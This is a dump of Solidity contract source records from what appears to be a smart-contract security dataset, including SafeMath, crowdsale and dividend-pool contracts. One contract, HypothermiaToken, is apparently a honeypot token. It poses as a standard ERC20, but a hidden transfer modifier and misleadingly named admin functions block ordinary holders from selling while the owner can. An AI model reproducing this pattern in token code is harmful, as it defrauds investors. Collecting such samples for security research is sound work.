function setSellCommissionBps(uint commission) public onlyAdmin {
require(commission < 10000);
sellCommissionBps = commission;
}
function encodePriceFeed(uint blockNumber, uint nonce, uint ask, uint bid) internal pure returns(uint) {
// check overflows
require(blockNumber < POW_2_64);
require(nonce < POW_2_64);
require(ask < POW_2_64);
require(bid < POW_2_64);
// do encoding
uint result = blockNumber;
result |= nonce * POW_2_64;
result |= ask * POW_2_64 * POW_2_64;
result |= bid * POW_2_64 * POW_2_64 * POW_2_64;
return result;
}
function decodePriceFeed(uint input) internal pure returns(uint blockNumber, uint nonce, uint ask, uint bid) {
blockNumber = uint(uint64(input));
nonce = uint(uint64(input / POW_2_64));
ask = uint(uint64(input / (POW_2_64 * POW_2_64)));
bid = uint(uint64(input / (POW_2_64 * POW_2_64 * POW_2_64)));
}
function getBalance(ERC20 token) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return this.balance;
else
return token.balanceOf(this);
}
function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) {
uint dstDecimals = getDecimals(dest);
uint srcDecimals = getDecimals(src);
return calcDstQty(srcQty, srcDecimals, dstDecimals, rate);
}
}
| 206,401 | 719 |
e7812f8ca894a651af6eb0f3d4f8850bc881588688ec5e35c531c96489f42932
| 30,028 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/e3/e360ba74411196b949a90db52fc79192a7b22b06_HypothermiaToken.sol
| 3,398 | 12,621 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract HypothermiaToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 93,475 | 720 |
eb59c79e5a2cc5887d7271418e8f43eb11356d5a8f04a9fa8715ef6fcdc88616
| 18,913 |
.sol
|
Solidity
| false |
235597819
|
eth-sri/securify2
|
def1e30ba9198828d048fbba5fbb6cd27f7e1b04
|
tests/solidity/test_real_contracts/PausableCrowdsale.sol
| 2,741 | 10,643 |
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
require(address(token).isContract());
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)));
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(address(token) != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
// solhint-disable-previous-line no-empty-blocks
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
// solhint-disable-previous-line no-empty-blocks
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract PausableCrowdsale is Crowdsale, Pausable {
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view whenNotPaused {
return super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
| 131,325 | 721 |
3db5fc1d4b18b289eb286947d7eec5ba38bb4681482cf571ff15ca4e6b292f63
| 14,235 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xbc4191167d4b0251cab5201a527daa8a7d3846b0.sol
| 3,562 | 12,565 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface token {
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function allowance(address, address) external constant returns (uint256);
function balanceOf(address) external constant returns (uint256);
}
contract NovaBox is Ownable {
using SafeMath for uint;
token tokenReward;
constructor() public {
tokenReward = token(0x72FBc0fc1446f5AcCC1B083F0852a7ef70a8ec9f);
}
event AirDrop(address to, uint amount, uint randomTicket);
event DividendsTransferred(address to, uint ethAmount, uint novaAmount);
// ether contributions
mapping (address => uint) public contributionsEth;
// token contributions
mapping (address => uint) public contributionsToken;
// investors list who have deposited BOTH ether and token
mapping (address => uint) public indexes;
mapping (uint => address) public addresses;
uint256 public lastIndex = 0;
mapping (address => bool) public addedToList;
uint _totalTokens = 0;
uint _totalWei = 0;
uint pointMultiplier = 1e18;
mapping (address => uint) public last6EthDivPoints;
uint public total6EthDivPoints = 0;
// uint public unclaimed6EthDivPoints = 0;
mapping (address => uint) public last4EthDivPoints;
uint public total4EthDivPoints = 0;
// uint public unclaimed4EthDivPoints = 0;
mapping (address => uint) public last6TokenDivPoints;
uint public total6TokenDivPoints = 0;
// uint public unclaimed6TokenDivPoints = 0;
mapping (address => uint) public last4TokenDivPoints;
uint public total4TokenDivPoints = 0;
// uint public unclaimed4TokenDivPoints = 0;
function ethDivsOwing(address _addr) public view returns (uint) {
return eth4DivsOwing(_addr).add(eth6DivsOwing(_addr));
}
function eth6DivsOwing(address _addr) public view returns (uint) {
if (!addedToList[_addr]) return 0;
uint newEth6DivPoints = total6EthDivPoints.sub(last6EthDivPoints[_addr]);
return contributionsToken[_addr].mul(newEth6DivPoints).div(pointMultiplier);
}
function eth4DivsOwing(address _addr) public view returns (uint) {
if (!addedToList[_addr]) return 0;
uint newEth4DivPoints = total4EthDivPoints.sub(last4EthDivPoints[_addr]);
return contributionsEth[_addr].mul(newEth4DivPoints).div(pointMultiplier);
}
function tokenDivsOwing(address _addr) public view returns (uint) {
return token4DivsOwing(_addr).add(token6DivsOwing(_addr));
}
function token6DivsOwing(address _addr) public view returns (uint) {
if (!addedToList[_addr]) return 0;
uint newToken6DivPoints = total6TokenDivPoints.sub(last6TokenDivPoints[_addr]);
return contributionsToken[_addr].mul(newToken6DivPoints).div(pointMultiplier);
}
function token4DivsOwing(address _addr) public view returns (uint) {
if (!addedToList[_addr]) return 0;
uint newToken4DivPoints = total4TokenDivPoints.sub(last4TokenDivPoints[_addr]);
return contributionsEth[_addr].mul(newToken4DivPoints).div(pointMultiplier);
}
function updateAccount(address account) private {
uint owingEth6 = eth6DivsOwing(account);
uint owingEth4 = eth4DivsOwing(account);
uint owingEth = owingEth4.add(owingEth6);
uint owingToken6 = token6DivsOwing(account);
uint owingToken4 = token4DivsOwing(account);
uint owingToken = owingToken4.add(owingToken6);
if (owingEth > 0) {
// send ether dividends to account
account.transfer(owingEth);
}
if (owingToken > 0) {
// send token dividends to account
tokenReward.transfer(account, owingToken);
}
last6EthDivPoints[account] = total6EthDivPoints;
last4EthDivPoints[account] = total4EthDivPoints;
last6TokenDivPoints[account] = total6TokenDivPoints;
last4TokenDivPoints[account] = total4TokenDivPoints;
emit DividendsTransferred(account, owingEth, owingToken);
}
function addToList(address sender) private {
addedToList[sender] = true;
// if the sender is not in the list
if (indexes[sender] == 0) {
_totalTokens = _totalTokens.add(contributionsToken[sender]);
_totalWei = _totalWei.add(contributionsEth[sender]);
// add the sender to the list
lastIndex++;
addresses[lastIndex] = sender;
indexes[sender] = lastIndex;
}
}
function removeFromList(address sender) private {
addedToList[sender] = false;
// if the sender is in temp eth list
if (indexes[sender] > 0) {
_totalTokens = _totalTokens.sub(contributionsToken[sender]);
_totalWei = _totalWei.sub(contributionsEth[sender]);
// remove the sender from temp eth list
addresses[indexes[sender]] = addresses[lastIndex];
indexes[addresses[lastIndex]] = indexes[sender];
indexes[sender] = 0;
delete addresses[lastIndex];
lastIndex--;
}
}
// desposit ether
function () payable public {
address sender = msg.sender;
// size of code at target address
uint codeLength;
// get the length of code at the sender address
assembly {
codeLength := extcodesize(sender)
}
// don't allow contracts to deposit ether
require(codeLength == 0);
uint weiAmount = msg.value;
updateAccount(sender);
// number of ether sent must be greater than 0
require(weiAmount > 0);
uint _89percent = weiAmount.mul(89).div(100);
uint _6percent = weiAmount.mul(6).div(100);
uint _4percent = weiAmount.mul(4).div(100);
uint _1percent = weiAmount.mul(1).div(100);
distributeEth(_6percent, // to nova investors
_4percent // to eth investors);
//1% goes to REX Investors
owner.transfer(_1percent);
contributionsEth[sender] = contributionsEth[sender].add(_89percent);
// if the sender is in list
if (indexes[sender]>0) {
// increase _totalWei
_totalWei = _totalWei.add(_89percent);
}
// if the sender has also deposited tokens, add sender to list
if (contributionsToken[sender]>0) addToList(sender);
}
// withdraw ether
function withdrawEth(uint amount) public {
address sender = msg.sender;
require(amount>0 && contributionsEth[sender] >= amount);
updateAccount(sender);
uint _89percent = amount.mul(89).div(100);
uint _6percent = amount.mul(6).div(100);
uint _4percent = amount.mul(4).div(100);
uint _1percent = amount.mul(1).div(100);
contributionsEth[sender] = contributionsEth[sender].sub(amount);
// if sender is in list
if (indexes[sender]>0) {
// decrease total wei
_totalWei = _totalWei.sub(amount);
}
// if the sender has withdrawn all their eth
// remove the sender from list
if (contributionsEth[sender] == 0) removeFromList(sender);
sender.transfer(_89percent);
distributeEth(_6percent, // to nova investors
_4percent // to eth investors);
owner.transfer(_1percent); //1% goes to REX Investors
}
// deposit tokens
function depositTokens(address randomAddr, uint randomTicket) public {
updateAccount(msg.sender);
address sender = msg.sender;
uint amount = tokenReward.allowance(sender, address(this));
// number of allowed tokens must be greater than 0
// if it is then transfer the allowed tokens from sender to the contract
// if not transferred then throw
require(amount>0 && tokenReward.transferFrom(sender, address(this), amount));
uint _89percent = amount.mul(89).div(100);
uint _6percent = amount.mul(6).div(100);
uint _4percent = amount.mul(4).div(100);
uint _1percent = amount.mul(1).div(100);
distributeTokens(_6percent, // to nova investors
_4percent // to eth investors);
tokenReward.transfer(randomAddr, _1percent);
// 1% for Airdrop
emit AirDrop(randomAddr, _1percent, randomTicket);
contributionsToken[sender] = contributionsToken[sender].add(_89percent);
// if sender is in list
if (indexes[sender]>0) {
// increase totaltokens
_totalTokens = _totalTokens.add(_89percent);
}
// if the sender has also contributed ether add sender to list
if (contributionsEth[sender]>0) addToList(sender);
}
// withdraw tokens
function withdrawTokens(uint amount, address randomAddr, uint randomTicket) public {
address sender = msg.sender;
updateAccount(sender);
// requested amount must be greater than 0 and
// the sender must have contributed tokens no less than `amount`
require(amount>0 && contributionsToken[sender]>=amount);
uint _89percent = amount.mul(89).div(100);
uint _6percent = amount.mul(6).div(100);
uint _4percent = amount.mul(4).div(100);
uint _1percent = amount.mul(1).div(100);
contributionsToken[sender] = contributionsToken[sender].sub(amount);
// if sender is in list
if (indexes[sender]>0) {
// decrease total tokens
_totalTokens = _totalTokens.sub(amount);
}
// if sender withdrawn all their tokens, remove them from list
if (contributionsToken[sender] == 0) removeFromList(sender);
tokenReward.transfer(sender, _89percent);
distributeTokens(_6percent, // to nova investors
_4percent // to eth investors);
// airdropToRandom(_1percent);
tokenReward.transfer(randomAddr, _1percent);
emit AirDrop(randomAddr, _1percent, randomTicket);
}
function distributeTokens(uint _6percent, uint _4percent) private {
uint totalTokens = getTotalTokens();
uint totalWei = getTotalWei();
if (totalWei == 0 || totalTokens == 0) return;
total4TokenDivPoints = total4TokenDivPoints.add(_4percent.mul(pointMultiplier).div(totalWei));
// unclaimed4TokenDivPoints = unclaimed4TokenDivPoints.add(_4percent);
total6TokenDivPoints = total6TokenDivPoints.add(_6percent.mul(pointMultiplier).div(totalTokens));
// unclaimed6TokenDivPoints = unclaimed6TokenDivPoints.add(_6percent);
}
function distributeEth(uint _6percent, uint _4percent) private {
uint totalTokens = getTotalTokens();
uint totalWei = getTotalWei();
if (totalWei ==0 || totalTokens == 0) return;
total4EthDivPoints = total4EthDivPoints.add(_4percent.mul(pointMultiplier).div(totalWei));
// unclaimed4EthDivPoints += _4percent;
total6EthDivPoints = total6EthDivPoints.add(_6percent.mul(pointMultiplier).div(totalTokens));
// unclaimed6EthDivPoints += _6percent;
}
// get sum of tokens contributed by the ether investors
function getTotalTokens() public view returns (uint) {
return _totalTokens;
}
// get the sum of wei contributed by the token investors
function getTotalWei() public view returns (uint) {
return _totalWei;
}
function withdrawDivs() public {
updateAccount(msg.sender);
}
// get the list of investors
function getList() public view returns (address[], uint[]) {
address[] memory _addrs = new address[](lastIndex);
uint[] memory _contributions = new uint[](lastIndex);
for (uint i = 1; i <= lastIndex; i++) {
_addrs[i-1] = addresses[i];
_contributions[i-1] = contributionsToken[addresses[i]];
}
return (_addrs, _contributions);
}
}
| 196,675 | 722 |
7be56ce6f9c8e4977c4faa548863731f14f09f1525c817dde86dafbacc1e20ae
| 13,827 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x373604ee6f3bce3b7126bb38f54ce6fd5ec59803.sol
| 3,067 | 11,198 |
pragma solidity ^0.4.20;
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
